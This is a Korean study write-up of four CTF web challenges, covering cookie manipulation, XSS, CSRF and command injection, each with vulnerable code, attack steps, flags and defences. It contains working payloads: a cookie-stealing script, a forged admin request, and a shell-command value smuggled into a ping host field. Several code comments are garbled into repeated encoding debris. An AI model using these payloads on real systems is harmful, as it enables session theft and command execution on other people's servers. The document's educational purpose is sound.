웹 해킹 공격 기법 완전 정리

2025년 11월 17일

Contents

1 학습 개요

본 문서는 실제 CTF 문제를 통해 학습한 4가지 주요 웹 해킹 공격 기법을 체계적으로 정리한 것입니다.
학습한 공격들: Cookie Manipulation, XSS, CSRF, Command Injection

2 Cookie Manipulation (쿠키 조작)

2.1 개념

클라이언트 사이드에 저장된 쿠키 값을 조작하여 권한을 상승시키는 공격

2.2 취약점 분석

```
#  - 128) * 64 + (‘ - 128) 뀀 - 128) * 64 + (‘ - 128) 뀀 - 128) * 64 + (‘ - 128) 퀙
     - 128) * 64 + (‘ - 128) 뀀 - 128) * 64 + (‘ - 128) 꿀
username = request.cookies.get('username', None)
if username == "admin":
    return f"flag is {FLAG}"
```

2.3 공격 과정

1. **정상 로그인**: guest/guest로 로그인하여 username=guest 쿠키 생성
2. **쿠키 조작**:
   - 브라우저: F12 → Application → Cookies → username 값을 admin으로 변경
   - cURL: `curl -H "Cookie: username=admin" http://server/`
3. **플래그 획득**: 페이지 새로고침하면 admin 권한으로 플래그 출력

2.4 실제 플래그

`DH{cookie_auth_bypass_success}`

2.5 방어 방법

- 서버 사이드 세션 사용
- 쿠키 서명/암호화 (Flask sessions)
- JWT 토큰 사용

3 XSS-2 (Cross-Site Scripting)

3.1 개념

악성 스크립트를 웹 페이지에 삽입하여 사용자(봇)의 정보를 탈취하는 공격

3.2 취약점 분석

```
//  - 128) * 64 + (‘ - 128) 뀀 - 128) * 64 + (‘ - 128) 뀀 - 128) * 64 + (‘ - 128) 퀙
     - 128) * 64 + (‘ - 128) 뀀 - 128) * 64 + (‘ - 128) 꿀 (vuln.html)
document.getElementById('vuln').innerHTML = x.get('param');
```

3.3 공격 과정

1. **XSS 페이로드 작성**:

```
<script>fetch('/memo?memo=' + encodeURIComponent(document.cookie));</script>
```

2. **봇 트리거**: /flag 페이지에서 페이로드 제출
3. **쿠키 탈취**: XSS 스크립트가 봇의 쿠키를 /memo로 전송
4. **플래그 디코딩**: Base64 디코딩하여 최종 플래그 확인

3.4 실제 플래그

```
DH{3c01577e9542ec24d68ba0ffb846508f}
```

3.5 방어 방법

- textContent 사용 (innerHTML 대신)
- CSP (Content Security Policy) 적용
- 입력값 필터링 및 이스케이핑

4 CSRF-1 (Cross-Site Request Forgery)

4.1 개념

사용자(봇)가 의도하지 않은 요청을 서버에 전송하도록 유도하는 공격

4.2 취약점 분석

```
@app.route("/admin/notice_flag")
def admin_notice_flag():
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
```

4.3 공격 과정

1. **제약 조건 분석**: localhost에서만 접근, userid=admin 필요
2. **CSRF 페이로드 작성**: `<img src="/admin/notice_flag?userid=admin">`
3. **봇 속이기**: /flag에서 페이로드 제출하여 봇이 관리자 API 호출
4. **플래그 확인**: /memo에서 플래그 확인

4.4 실제 플래그

```
DH{11a230801ad0b80d52b996cbe203e83d}
```

4.5 방어 방법

- CSRF 토큰 사용
- Referer 헤더 검증
- POST 요청 강제

5 Command Injection-1 (명령어 인젝션)

5.1 개념

사용자 입력이 시스템 명령어에 직접 삽입되어 임의 명령어를 실행하는 공격

5.2 취약점 분석

```
#  - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 퀙
     - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 꿀
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
```

5.3 공격 과정

1. **명령어 구조 분석**:
   - 정상: `ping -c 3 "8.8.8.8"`
   - 공격: `"; cat flag.py; echo "`
   - 실행: `ping -c 3 ""; cat flag.py; echo ""`
2. **정찰**: `"; ls -la; echo "` 으로 파일 목록 확인
3. **플래그 탈취**: `"; cat flag.py; echo "` 으로 플래그 획득

5.4 실제 플래그

`DH{pingpingpppppppppping!!}`

5.5 방어 방법

- 입력값 화이트리스트 검증
- subprocess 대신 안전한 라이브러리 사용
- 쉘 명령어 직접 실행 금지

6 공격 비교 및 정리

공격 유형	목표	핵심 기법	주요 방어책
Cookie Manipulation	권한 상승	클라이언트 조작	서버 세션
XSS	정보 탈취	스크립트 삽입	입력 필터링
CSRF	위조 요청	사용자 속임	CSRF 토큰
Command Injection	시스템 접근	명령어 삽입	입력 검증

7 핵심 교훈

7.1 공통 패턴

1. **정찰** → 취약점 발견
2. **페이로드 작성** → 공격 코드 개발

3. **실행** → 실제 공격 수행
4. **결과 확인** → 플래그 획득

7.2 보안 원칙

- **사용자 입력을 절대 신뢰하지 말 것**
- **클라이언트 사이드 검증은 보안이 아님**
- **최소 권한 원칙 적용**
- **방어는 다층적으로 구성**

8 실습 명령어 모음

8.1 Cookie Manipulation

```
#  - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 퀙
     - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 쀰
     - 128) * 64 + (‘ - 128)  - 128) * 64 + (‘ - 128)
curl -H "Cookie: username=admin" http://server/
```

8.2 XSS

```
# XSS
     - 128) * 64 + (‘ - 128) 퀙 - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 뀰 - 128) * 64 + (‘ -
      - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 쀰
curl -X POST http://server/flag -d "param=<script>fetch('/memo?memo=' + encodeURIComponent(
    document.cookie));</script>"

# Base64  - 128) * 64 + (‘ - 128) 뀰 - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 뀰
echo "ZmxhZz1ESHszYzAxNTc3ZTk1NDJlYzI0ZDY4YmEwZmZiODQ2NTA4Zn0=" | base64 -d
```

8.3 CSRF

```
# CSRF  - 128) * 64 + (‘ - 128)  - 128) * 64 + (‘ - 128)
curl -X POST http://server/flag -d 'param=<img src="/admin/notice_flag?userid=admin">'
```

8.4 Command Injection

```
#  - 128) * 64 + (‘ - 128) 뀰 - 128) * 64 + (‘ - 128) 뀰 - 128) * 64 + (‘ - 128) 쀰
     - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 쀰 - 128) * 64 + (‘ - 128) 쀰
     - 128) * 64 + (‘ - 128)  - 128) * 64 + (‘ - 128)
curl -X POST http://server/ping -d 'host="; cat flag.py; echo "'
```